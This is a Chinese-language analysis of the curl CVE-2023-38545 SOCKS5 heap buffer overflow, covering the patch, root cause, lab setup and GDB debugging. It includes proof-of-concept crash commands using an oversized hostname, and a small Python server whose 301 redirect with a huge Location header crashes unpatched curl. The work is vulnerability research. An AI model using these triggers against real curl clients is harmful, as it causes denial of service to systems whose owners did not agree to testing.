CVE-2023-38545 curl堆缓冲区溢出分析
一、漏洞简介
1、这个缺陷使得curl在SOCKS5代理握手时导致一个基于堆的缓冲区溢出。
2、当 curl 被要求将主机名传递给 SOCKS5 代理以允许代理解析地址而不是由 curl 本身完成时,主机名的最大长度可以是 255 字节。
3、如果检测到主机名长度超过 255 字节,则 curl 将切换到本地名称解析,并将解析的地址传递给代理。由于一个错误,”让主机解析名称“的局部变量可能会在缓慢的 SOCKS5 握手过程中获得错误的值,将太长的主机名复制到目标缓冲区,而不是在复制已解析的地址。
二、补丁分析
2.1 影响范围
受影响的版本:libcurl 7.69.0 至 8.3.0(含 8.3.0)
不受影响的版本:libcurl < 7.69.0 和 >= 8.4.0
2.2 官方更新
从 curl 8.4.0 开始,如果名称太长,curl 不再切换到本地解析模式,而是正确地返回错误。
补丁下载地址:https://curl.se/docs/CVE-2023-38545_patches.zip
主机名太长,超过255字节,就会返回报错。
三、漏洞成因
根据补丁分析,成因在于hostname长度大于255时,memcpy拷贝主机名的时候,那么我们找到对应的代码,漏洞触发的逻辑应该如下所示:
1、主机名hostname长度大于255时,会进行本地解析
2、本地解析主机名
3、本地解析失败后,会进行远程解析,当主机名超长时,memcpy拷贝时超过socksreq的大小,造成堆溢出(实际调试的过程中并没有进行本地解析,会直接进行远程解析,原因不知为何?)
四、环境准备
4.1 系统环境
系统为Ubuntu 20.04 64位系统,安装需要的依赖
sudo apt update
sudo apt install make gdb gcc git checksec
4.2 运行代理服务
参考hatboy师傅的python版本的socks5服务端代码,保存其中“不需要认证的socks5服务器“代码为socks.py,端口这里设置为1080:
import select
import socket
import logging, struct
from socketserver import StreamRequestHandler, ThreadingTCPServer
SOCKS_VERSION = 5
class SocksProxy(StreamRequestHandler):
def handle(self):
print('Accepting connection from {}'.format(self.client_address))
# 协商
# 从客户端读取并解包两个字节的数据
header = self.connection.recv(2)
version, nmethods = struct.unpack("!BB", header)
# 设置socks5协议,METHODS字段的数目大于0
assert version == SOCKS_VERSION
assert nmethods > 0
# 接受支持的方法
methods = self.get_available_methods(nmethods)
# 无需认证
if 0 not in set(methods):
self.server.close_request(self.request)
return
# 发送协商响应数据包
self.connection.sendall(struct.pack("!BB", SOCKS_VERSION, 0))
# 请求
version, cmd, _, address_type = struct.unpack("!BBBB", self.connection.recv(4))
assert version == SOCKS_VERSION
if address_type == 1: # IPv4
address = socket.inet_ntoa(self.connection.recv(4))
elif address_type == 3: # Domain name
domain_length = self.connection.recv(1)[0]
address = self.connection.recv(domain_length)
#address = socket.gethostbyname(address.decode("UTF-8")) # 将域名转化为IP,这一行可以去掉
elif address_type == 4: # IPv6
addr_ip = self.connection.recv(16)
address = socket.inet_ntop(socket.AF_INET6, addr_ip)
else:
self.server.close_request(self.request)
return
port = struct.unpack('!H', self.connection.recv(2))[0]
# 响应,只支持CONNECT请求
try:
if cmd == 1: # CONNECT
remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remote.connect((address, port))
bind_address = remote.getsockname()
print('Connected to {} {}'.format(address, port))
else:
self.server.close_request(self.request)
addr = struct.unpack("!I", socket.inet_aton(bind_address[0]))[0]
port = bind_address[1]
#reply = struct.pack("!BBBBIH", SOCKS_VERSION, 0, 0, address_type, addr, port)
# 注意:按照标准协议,返回的应该是对应的address_type,但是实际测试发现,当address_type=3,也就是说是域名类型时,会出现卡死情况,但是将address_type该为1,则不管是IP类型和域名类型都能正常运行
reply = struct.pack("!BBBBIH", SOCKS_VERSION, 0, 0, 1, addr, port)
except Exception as err:
logging.error(err)
# 响应拒绝连接的错误
reply = self.generate_failed_reply(address_type, 5)
self.connection.sendall(reply)
# 建立连接成功,开始交换数据
if reply[1] == 0 and cmd == 1:
self.exchange_loop(self.connection, remote)
self.server.close_request(self.request)
def get_available_methods(self, n):
methods = []
for i in range(n):
methods.append(ord(self.connection.recv(1)))
return methods
def generate_failed_reply(self, address_type, error_number):
return struct.pack("!BBBBIH", SOCKS_VERSION, error_number, 0, address_type, 0, 0)
def exchange_loop(self, client, remote):
while True:
# 等待数据
r, w, e = select.select([client, remote], [], [])
if client in r:
data = client.recv(4096)
if remote.send(data) <= 0:
break
if remote in r:
data = remote.recv(4096)
if client.send(data) <= 0:
break
if __name__ == '__main__':
# 使用socketserver库的多线程服务器ThreadingTCPServer启动代理
with ThreadingTCPServer(('127.0.0.1', 1080), SocksProxy) as server:
server.serve_forever()
4.3 编译源码
下载curl 8.3.0版本的源码进行编译,为了之后调试方便加入调试符号(-g)
wget https://github.com/curl/curl/releases/download/curl-8_3_0/curl-8.3.0.zip
unzip curl-8.3.0.zip
cd curl-8.3.0
./configure --prefix=/usr/local/curl --without-ssl --disable-dependency-tracking CFLAGS=-g
make
make install
4.4 安装GDB调试插件
为了调试方便安装gef插件
git clone https://github.com/gatieme/GdbPlugins.git ~/GdbPlugins
echo 'source ~/GdbPlugins/gef/gef.py' > ~.bashinit
安装好后,执行gdb会有gef>提示符。
五、漏洞分析
5.1 漏洞利用
checksec查看程序保护情况,保护全开
正常的RCE利用几乎不可能,仅能造成拒绝服务
1、 NX,无法使用shellcode
2、 PIE,地址随机
3、 没有泄露地址的地方
4、 域名不能包含特殊字符,比如空字节
根据漏洞成因,设定limit-rate大小为1024,主机名大小2048
/usr/local/curl/bin/curl --limit-rate 1024 --proxy socks5h://localhost:1080 http://`python3 -c "print('A'*2048)"`
执行后会使程序发生段错误,造成拒绝服务
5.2 动态调试
1、调试
gdb /usr/local/curl/bin/curl
gef> set args --limit-rate 1024 --proxy socks5h://localhost:1080 http://AAAA....(这里省略n个A)
get> r
出现崩溃,断在cfilters.c 的446行
2、下断点
下断点 b socks.c:907
断下来,memcpy拷贝之后,造成溢出
堆块显示0x411,除去0x10的头部和标志1,实际大小为0x400,参考以下堆结构图示:
5.3 进阶利用
问:5.1是本地指定访问的地址造成拒绝服务,那么访问一个正常的地址,能否造成拒绝服务呢?
答:答案是肯定的,根据官方文章说明,curl可以支持重定向,通过301跳转的地址超长就会造成类似的效果。准备一个正常的Web服务,如下所示:
#conding:utf8
import socket
# 创建socket对象
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# 获取本地主机名和端口号
host = ''
port = 8080
# 将socket对象绑定到指定的主机和端口上
server_socket.bind((host, port))
# 开始监听连接
server_socket.listen(1)
# 等待客户端连接
while True:
print("等待客户端连接...")
client_socket, client_address = server_socket.accept()
print("连接来自: ", client_address)
# 接收客户端发送的数据
data = client_socket.recv(1024)
# 处理接收到的数据
print("接收到的数据为: ", data.decode())
# 发送响应数据给客户端
message = b'HTTP/1.0 301 Moved Permanently\r\nLocation: http://' + b'A'*0x20000 + b'\r\n\r\n'
# 发送的数据
print("发送的数据为: ", message)
client_socket.sendall(message)
# 关闭客户端连接
client_socket.close()
执行命令,加上参数-L支持重定向
/usr/local/curl/bin/curl --limit-rate 1024 --proxy socks5h://localhost:1080 -L http://localhost:8080
同样可以造成崩溃
5.4 利用思考
1、大家有没有发现参数中包含limit-rate参数,如果没有呢?
再来调试一下,发现socksreq大小为0x19000,足以满足0x2000,不会造成堆溢出
2、那么我们把重定向的主机名0x2000扩大到0x20000呢?
答案:直接报错退出,内存不足。
3、留下一个问题
当系统的ASLR没开时,能够正常利用吗?
六、总结
当使用socks5代理时,如果主机名大于255,则curl会尝试使用本地解析代替远程解析,但没有按照预期工作,导致内存损坏,攻击者可以构造恶意主机名触发漏洞,成功利用漏洞可能造成代码执行。
但经验证该漏洞利用条件苛刻,影响力有限。
七、参考链接
https://curl.se/docs/CVE-2023-38545.html
https://zhuanlan.zhihu.com/p/530364753
https://hatboy.github.io/2018/04/28/Python%E7%BC%96%E5%86%99socks5%E6%9C%8D%E5%8A%A1%E5%99%A8/